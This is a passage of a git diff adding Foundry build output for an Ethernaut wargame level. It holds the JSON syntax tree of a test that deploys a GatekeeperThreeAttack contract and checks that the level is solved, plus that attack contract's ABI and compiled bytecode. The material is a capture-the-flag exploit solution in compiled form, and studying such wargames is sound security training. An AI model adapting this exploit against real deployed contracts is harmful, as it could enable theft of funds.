+ "nodeType": "ExpressionStatement", + "src": "1243:21:133" + }, + { + "expression": { + "id": 61516, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "leftHandSide": { + "id": 61500, + "name": "instance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61418, + "src": "1274:8:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + }, + "nodeType": "Assignment", + "operator": "=", + "rightHandSide": { + "arguments": [ + { + "arguments": [ + { + "arguments": [ + { + "id": 61505, + "name": "ethernaut", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61415, + "src": "1329:9:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + { + "arguments": [ + { + "arguments": [ + { + "id": 61509, + "name": "factory", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61472, + "src": "1354:7:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_GatekeeperThreeFactory_$52925", + "typeString": "contract GatekeeperThreeFactory" + } + ], + "id": 61508, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "1346:7:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_$", + "typeString": "type(address)" + }, + "typeName": { + "id": 61507, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "1346:7:133", + "typeDescriptions": {} + } + }, + "id": 61510, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1346:16:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 61506, + "name": "Level", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 55508, + "src": "1340:5:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_contract$_Level_$55508_$", + "typeString": "type(contract Level)" + } + }, + "id": 61511, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1340:23:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_Level_$55508", + "typeString": "contract Level" + } + }, + { + "hexValue": "30", + "id": 61512, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "1365:1:133", + "typeDescriptions": { + "typeIdentifier": "t_rational_0_by_1", + "typeString": "int_const 0" + }, + "value": "0" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + }, + { + "typeIdentifier": "t_contract$_Level_$55508", + "typeString": "contract Level" + }, + { + "typeIdentifier": "t_rational_0_by_1", + "typeString": "int_const 0" + } + ], + "id": 61504, + "name": "createLevelInstance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 66525, + "src": "1309:19:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_contract$_Level_$55508_$_t_uint256_$returns$_t_address_$", + "typeString": "function (contract Ethernaut,contract Level,uint256) returns (address)" + } + }, + "id": 61513, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1309:58:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 61503, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "1301:8:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_payable_$", + "typeString": "type(address payable)" + }, + "typeName": { + "id": 61502, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "1301:8:133", + "stateMutability": "payable", + "typeDescriptions": {} + } + }, + "id": 61514, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1301:67:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "id": 61501, + "name": "GatekeeperThree", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 52870, + "src": "1285:15:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_contract$_GatekeeperThree_$52870_$", + "typeString": "type(contract GatekeeperThree)" + } + }, + "id": 61515, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1285:84:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + }, + "src": "1274:95:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + }, + "id": 61517, + "nodeType": "ExpressionStatement", + "src": "1274:95:133" + }, + { + "expression": { + "arguments": [], + "expression": { + "argumentTypes": [], + "expression": { + "id": 61518, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "1379:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61520, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1382:9:133", + "memberName": "stopPrank", + "nodeType": "MemberAccess", + "referencedDeclaration": 15466, + "src": "1379:12:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$__$returns$__$", + "typeString": "function () external" + } + }, + "id": 61521, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1379:14:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61522, + "nodeType": "ExpressionStatement", + "src": "1379:14:133" + } + ] + }, + "functionSelector": "0a9254e4", + "implemented": true, + "kind": "function", + "modifiers": [], + "name": "setUp", + "nameLocation": "796:5:133", + "parameters": { + "id": 61423, + "nodeType": "ParameterList", + "parameters": [], + "src": "801:2:133" + }, + "returnParameters": { + "id": 61424, + "nodeType": "ParameterList", + "parameters": [], + "src": "811:0:133" + }, + "scope": 61590, + "stateMutability": "nonpayable", + "virtual": false, + "visibility": "public" + }, + { + "id": 61545, + "nodeType": "FunctionDefinition", + "src": "1652:137:133", + "nodes": [], + "body": { + "id": 61544, + "nodeType": "Block", + "src": "1679:110:133", + "nodes": [], + "statements": [ + { + "expression": { + "arguments": [ + { + "id": 61531, + "name": "player", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61422, + "src": "1703:6:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "expression": { + "id": 61528, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "1689:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61530, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1692:10:133", + "memberName": "startPrank", + "nodeType": "MemberAccess", + "referencedDeclaration": 15454, + "src": "1689:13:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_address_$returns$__$", + "typeString": "function (address) external" + } + }, + "id": 61532, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1689:21:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61533, + "nodeType": "ExpressionStatement", + "src": "1689:21:133" + }, + { + "expression": { + "arguments": [ + { + "arguments": [ + { + "id": 61536, + "name": "ethernaut", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61415, + "src": "1752:9:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + { + "arguments": [ + { + "id": 61539, + "name": "instance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61418, + "src": "1771:8:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + ], + "id": 61538, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "1763:7:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_$", + "typeString": "type(address)" + }, + "typeName": { + "id": 61537, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "1763:7:133", + "typeDescriptions": {} + } + }, + "id": 61540, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1763:17:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + }, + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 61535, + "name": "submitLevelInstance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 66571, + "src": "1732:19:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$", + "typeString": "function (contract Ethernaut,address) returns (bool)" + } + }, + "id": 61541, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1732:49:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_bool", + "typeString": "bool" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_bool", + "typeString": "bool" + } + ], + "id": 61534, + "name": "assertFalse", + "nodeType": "Identifier", + "overloadedDeclarations": [ + 314, + 329 + ], + "referencedDeclaration": 314, + "src": "1720:11:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_pure$_t_bool_$returns$__$", + "typeString": "function (bool) pure" + } + }, + "id": 61542, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1720:62:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61543, + "nodeType": "ExpressionStatement", + "src": "1720:62:133" + } + ] + }, + "documentation": { + "id": 61525, + "nodeType": "StructuredDocumentation", + "src": "1584:63:133", + "text": "@notice Check the intial state of the level and enviroment." + }, + "functionSelector": "b5d11e99", + "implemented": true, + "kind": "function", + "modifiers": [], + "name": "testInit", + "nameLocation": "1661:8:133", + "parameters": { + "id": 61526, + "nodeType": "ParameterList", + "parameters": [], + "src": "1669:2:133" + }, + "returnParameters": { + "id": 61527, + "nodeType": "ParameterList", + "parameters": [], + "src": "1679:0:133" + }, + "scope": 61590, + "stateMutability": "nonpayable", + "virtual": false, + "visibility": "public" + }, + { + "id": 61589, + "nodeType": "FunctionDefinition", + "src": "1844:309:133", + "nodes": [], + "body": { + "id": 61588, + "nodeType": "Block", + "src": "1872:281:133", + "nodes": [], + "statements": [ + { + "expression": { + "arguments": [ + { + "id": 61552, + "name": "player", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61422, + "src": "1896:6:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + }, + { + "id": 61553, + "name": "player", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61422, + "src": "1904:6:133", + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + }, + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "expression": { + "id": 61549, + "name": "vm", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 58, + "src": "1882:2:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Vm_$15673", + "typeString": "contract Vm" + } + }, + "id": 61551, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "1885:10:133", + "memberName": "startPrank", + "nodeType": "MemberAccess", + "referencedDeclaration": 15462, + "src": "1882:13:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$_t_address_$_t_address_$returns$__$", + "typeString": "function (address,address) external" + } + }, + "id": 61554, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1882:29:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61555, + "nodeType": "ExpressionStatement", + "src": "1882:29:133" + }, + { + "assignments": [ + 61558 + ], + "declarations": [ + { + "constant": false, + "id": 61558, + "mutability": "mutable", + "name": "attacker", + "nameLocation": "1944:8:133", + "nodeType": "VariableDeclaration", + "scope": 61588, + "src": "1922:30:133", + "stateVariable": false, + "storageLocation": "default", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeAttack_$49466", + "typeString": "contract GatekeeperThreeAttack" + }, + "typeName": { + "id": 61557, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 61556, + "name": "GatekeeperThreeAttack", + "nameLocations": [ + "1922:21:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 49466, + "src": "1922:21:133" + }, + "referencedDeclaration": 49466, + "src": "1922:21:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeAttack_$49466", + "typeString": "contract GatekeeperThreeAttack" + } + }, + "visibility": "internal" + } + ], + "id": 61572, + "initialValue": { + "arguments": [ + { + "arguments": [ + { + "arguments": [ + { + "id": 61568, + "name": "instance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61418, + "src": "2036:8:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + ], + "id": 61567, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "2028:7:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_$", + "typeString": "type(address)" + }, + "typeName": { + "id": 61566, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "2028:7:133", + "typeDescriptions": {} + } + }, + "id": 61569, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "2028:17:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 61565, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "2020:8:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_payable_$", + "typeString": "type(address payable)" + }, + "typeName": { + "id": 61564, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "2020:8:133", + "stateMutability": "payable", + "typeDescriptions": {} + } + }, + "id": 61570, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "2020:26:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_address_payable", + "typeString": "address payable" + } + ], + "id": 61561, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "nodeType": "NewExpression", + "src": "1967:25:133", + "typeDescriptions": { + "typeIdentifier": "t_function_creation_payable$_t_address_payable_$returns$_t_contract$_GatekeeperThreeAttack_$49466_$", + "typeString": "function (address payable) payable returns (contract GatekeeperThreeAttack)" + }, + "typeName": { + "id": 61560, + "nodeType": "UserDefinedTypeName", + "pathNode": { + "id": 61559, + "name": "GatekeeperThreeAttack", + "nameLocations": [ + "1971:21:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 49466, + "src": "1971:21:133" + }, + "referencedDeclaration": 49466, + "src": "1971:21:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeAttack_$49466", + "typeString": "contract GatekeeperThreeAttack" + } + } + }, + "id": 61563, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "names": [ + "value" + ], + "nodeType": "FunctionCallOptions", + "options": [ + { + "hexValue": "313230303030303030303030303030303030", + "id": 61562, + "isConstant": false, + "isLValue": false, + "isPure": true, + "kind": "number", + "lValueRequested": false, + "nodeType": "Literal", + "src": "2000:18:133", + "typeDescriptions": { + "typeIdentifier": "t_rational_120000000000000000_by_1", + "typeString": "int_const 120000000000000000" + }, + "value": "120000000000000000" + } + ], + "src": "1967:52:133", + "typeDescriptions": { + "typeIdentifier": "t_function_creation_payable$_t_address_payable_$returns$_t_contract$_GatekeeperThreeAttack_$49466_$value", + "typeString": "function (address payable) payable returns (contract GatekeeperThreeAttack)" + } + }, + "id": 61571, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "1967:80:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeAttack_$49466", + "typeString": "contract GatekeeperThreeAttack" + } + }, + "nodeType": "VariableDeclarationStatement", + "src": "1922:125:133" + }, + { + "expression": { + "arguments": [], + "expression": { + "argumentTypes": [], + "expression": { + "id": 61573, + "name": "attacker", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61558, + "src": "2057:8:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThreeAttack_$49466", + "typeString": "contract GatekeeperThreeAttack" + } + }, + "id": 61575, + "isConstant": false, + "isLValue": false, + "isPure": false, + "lValueRequested": false, + "memberLocation": "2066:6:133", + "memberName": "attack", + "nodeType": "MemberAccess", + "referencedDeclaration": 49465, + "src": "2057:15:133", + "typeDescriptions": { + "typeIdentifier": "t_function_external_nonpayable$__$returns$__$", + "typeString": "function () external" + } + }, + "id": 61576, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "2057:17:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61577, + "nodeType": "ExpressionStatement", + "src": "2057:17:133" + }, + { + "expression": { + "arguments": [ + { + "arguments": [ + { + "id": 61580, + "name": "ethernaut", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61415, + "src": "2116:9:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + } + }, + { + "arguments": [ + { + "id": 61583, + "name": "instance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 61418, + "src": "2135:8:133", + "typeDescriptions": { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_GatekeeperThree_$52870", + "typeString": "contract GatekeeperThree" + } + ], + "id": 61582, + "isConstant": false, + "isLValue": false, + "isPure": true, + "lValueRequested": false, + "nodeType": "ElementaryTypeNameExpression", + "src": "2127:7:133", + "typeDescriptions": { + "typeIdentifier": "t_type$_t_address_$", + "typeString": "type(address)" + }, + "typeName": { + "id": 61581, + "name": "address", + "nodeType": "ElementaryTypeName", + "src": "2127:7:133", + "typeDescriptions": {} + } + }, + "id": 61584, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "typeConversion", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "2127:17:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_address", + "typeString": "address" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_contract$_Ethernaut_$49101", + "typeString": "contract Ethernaut" + }, + { + "typeIdentifier": "t_address", + "typeString": "address" + } + ], + "id": 61579, + "name": "submitLevelInstance", + "nodeType": "Identifier", + "overloadedDeclarations": [], + "referencedDeclaration": 66571, + "src": "2096:19:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_nonpayable$_t_contract$_Ethernaut_$49101_$_t_address_$returns$_t_bool_$", + "typeString": "function (contract Ethernaut,address) returns (bool)" + } + }, + "id": 61585, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "2096:49:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_bool", + "typeString": "bool" + } + } + ], + "expression": { + "argumentTypes": [ + { + "typeIdentifier": "t_bool", + "typeString": "bool" + } + ], + "id": 61578, + "name": "assertTrue", + "nodeType": "Identifier", + "overloadedDeclarations": [ + 287, + 302 + ], + "referencedDeclaration": 287, + "src": "2085:10:133", + "typeDescriptions": { + "typeIdentifier": "t_function_internal_pure$_t_bool_$returns$__$", + "typeString": "function (bool) pure" + } + }, + "id": 61586, + "isConstant": false, + "isLValue": false, + "isPure": false, + "kind": "functionCall", + "lValueRequested": false, + "nameLocations": [], + "names": [], + "nodeType": "FunctionCall", + "src": "2085:61:133", + "tryCall": false, + "typeDescriptions": { + "typeIdentifier": "t_tuple$__$", + "typeString": "tuple()" + } + }, + "id": 61587, + "nodeType": "ExpressionStatement", + "src": "2085:61:133" + } + ] + }, + "documentation": { + "id": 61546, + "nodeType": "StructuredDocumentation", + "src": "1795:44:133", + "text": "@notice Test the solution for the level." + }, + "functionSelector": "832e5fc2", + "implemented": true, + "kind": "function", + "modifiers": [], + "name": "testSolve", + "nameLocation": "1853:9:133", + "parameters": { + "id": 61547, + "nodeType": "ParameterList", + "parameters": [], + "src": "1862:2:133" + }, + "returnParameters": { + "id": 61548, + "nodeType": "ParameterList", + "parameters": [], + "src": "1872:0:133" + }, + "scope": 61590, + "stateMutability": "nonpayable", + "virtual": false, + "visibility": "public" + } + ], + "abstract": false, + "baseContracts": [ + { + "baseName": { + "id": 61409, + "name": "Test", + "nameLocations": [ + "477:4:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 12027, + "src": "477:4:133" + }, + "id": 61410, + "nodeType": "InheritanceSpecifier", + "src": "477:4:133" + }, + { + "baseName": { + "id": 61411, + "name": "Utils", + "nameLocations": [ + "483:5:133" + ], + "nodeType": "IdentifierPath", + "referencedDeclaration": 66673, + "src": "483:5:133" + }, + "id": 61412, + "nodeType": "InheritanceSpecifier", + "src": "483:5:133" + } + ], + "canonicalName": "TestGatekeeperThree", + "contractDependencies": [ + 49101, + 49466, + 52925, + 56450, + 58028 + ], + "contractKind": "contract", + "fullyImplemented": true, + "linearizedBaseContracts": [ + 61590, + 66673, + 12027, + 11975, + 6655, + 6330, + 5537, + 3477, + 2695, + 65, + 62 + ], + "name": "TestGatekeeperThree", + "nameLocation": "454:19:133", + "scope": 61591, + "usedErrors": [], + "usedEvents": [ + 100, + 104, + 108, + 112, + 116, + 120, + 124, + 128, + 134, + 140, + 148, + 156, + 162, + 168, + 174, + 180, + 185, + 190, + 195, + 202, + 209, + 216 + ] + } + ], + "license": "MIT" + }, + "id": 133 +} \ No newline at end of file diff --git a/contracts/out/GatekeeperThreeAttack.sol/GatekeeperThreeAttack.json b/contracts/out/GatekeeperThreeAttack.sol/GatekeeperThreeAttack.json new file mode 100644 index 000000000..07c7c0372 --- /dev/null +++ b/contracts/out/GatekeeperThreeAttack.sol/GatekeeperThreeAttack.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[{"name":"_gatekeeperThree","type":"address","internalType":"address payable"}],"stateMutability":"payable"},{"type":"function","name":"attack","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"gatekeeperThree","inputs":[],"outputs":[{"name":"","type":"address","internalType":"contract GatekeeperThree"}],"stateMutability":"view"}],"bytecode":{"object":"0x608060405260405161031e38038061031e83398101604081905261002291610046565b5f80546001600160a01b0319166001600160a01b0392909216919091179055610073565b5f60208284031215610056575f80fd5b81516001600160a01b038116811461006c575f80fd5b9392505050565b61029e806100805f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80639e5faafc14610038578063a46916a714610042575b5f80fd5b610040610070565b005b5f54610054906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f8054604080517fb9966e5600000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263b9966e569260048084019382900301818387803b1580156100c8575f80fd5b505af11580156100da573d5f803e3d5ffd5b50505f8054604080517ff7edf09900000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216945063f7edf0999350600480820193929182900301818387803b158015610138575f80fd5b505af115801561014a573d5f803e3d5ffd5b50505f546040517fc960174e0000000000000000000000000000000000000000000000000000000081524260048201526001600160a01b03909116925063c960174e91506024015f604051808303815f87803b1580156101a8575f80fd5b505af11580156101ba573d5f803e3d5ffd5b50505f80546040516001600160a01b0390911693509091506603e871b540c0009082818181858883f193505050501580156101f7573d5f803e3d5ffd5b505f8054604080517fe97dcb6200000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263e97dcb629260048084019382900301818387803b158015610250575f80fd5b505af1158015610262573d5f803e3d5ffd5b5050505056fea26469706673582212201cc147123fb82924ccfb3585f4f0f5cf527281961de1d76f39568baace2e90d564736f6c63430008180033","sourceMap":"98:596:46:-:0;;;180:122;;;;;;;;;;;;;;;;;;:::i;:::-;244:15;:51;;-1:-1:-1;;;;;;244:51:46;-1:-1:-1;;;;;244:51:46;;;;;;;;;;98:596;;14:298:155;92:6;145:2;133:9;124:7;120:23;116:32;113:52;;;161:1;158;151:12;113:52;187:16;;-1:-1:-1;;;;;232:31:155;;222:42;;212:70;;278:1;275;268:12;212:70;301:5;14:298;-1:-1:-1;;;14:298:155:o;:::-;98:596:46;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610034575f3560e01c80639e5faafc14610038578063a46916a714610042575b5f80fd5b610040610070565b005b5f54610054906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b5f8054604080517fb9966e5600000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263b9966e569260048084019382900301818387803b1580156100c8575f80fd5b505af11580156100da573d5f803e3d5ffd5b50505f8054604080517ff7edf09900000000000000000000000000000000000000000000000000000000815290516001600160a01b03909216945063f7edf0999350600480820193929182900301818387803b158015610138575f80fd5b505af115801561014a573d5f803e3d5ffd5b50505f546040517fc960174e0000000000000000000000000000000000000000000000000000000081524260048201526001600160a01b03909116925063c960174e91506024015f604051808303815f87803b1580156101a8575f80fd5b505af11580156101ba573d5f803e3d5ffd5b50505f80546040516001600160a01b0390911693509091506603e871b540c0009082818181858883f193505050501580156101f7573d5f803e3d5ffd5b505f8054604080517fe97dcb6200000000000000000000000000000000000000000000000000000000815290516001600160a01b039092169263e97dcb629260048084019382900301818387803b158015610250575f80fd5b505af1158015610262573d5f803e3d5ffd5b5050505056fea26469706673582212201cc147123fb82924ccfb3585f4f0f5cf527281961de1d76f39568baace2e90d564736f6c63430008180033","sourceMap":"98:596:46:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;308:384;;;:::i;:::-;;135:38;;;;;-1:-1:-1;;;;;135:38:46;;;;;;-1:-1:-1;;;;;211:55:155;;;193:74;;181:2;166:18;135:38:46;;;;;;;308:384;369:15;;;:29;;;;;;;;-1:-1:-1;;;;;369:15:46;;;;:27;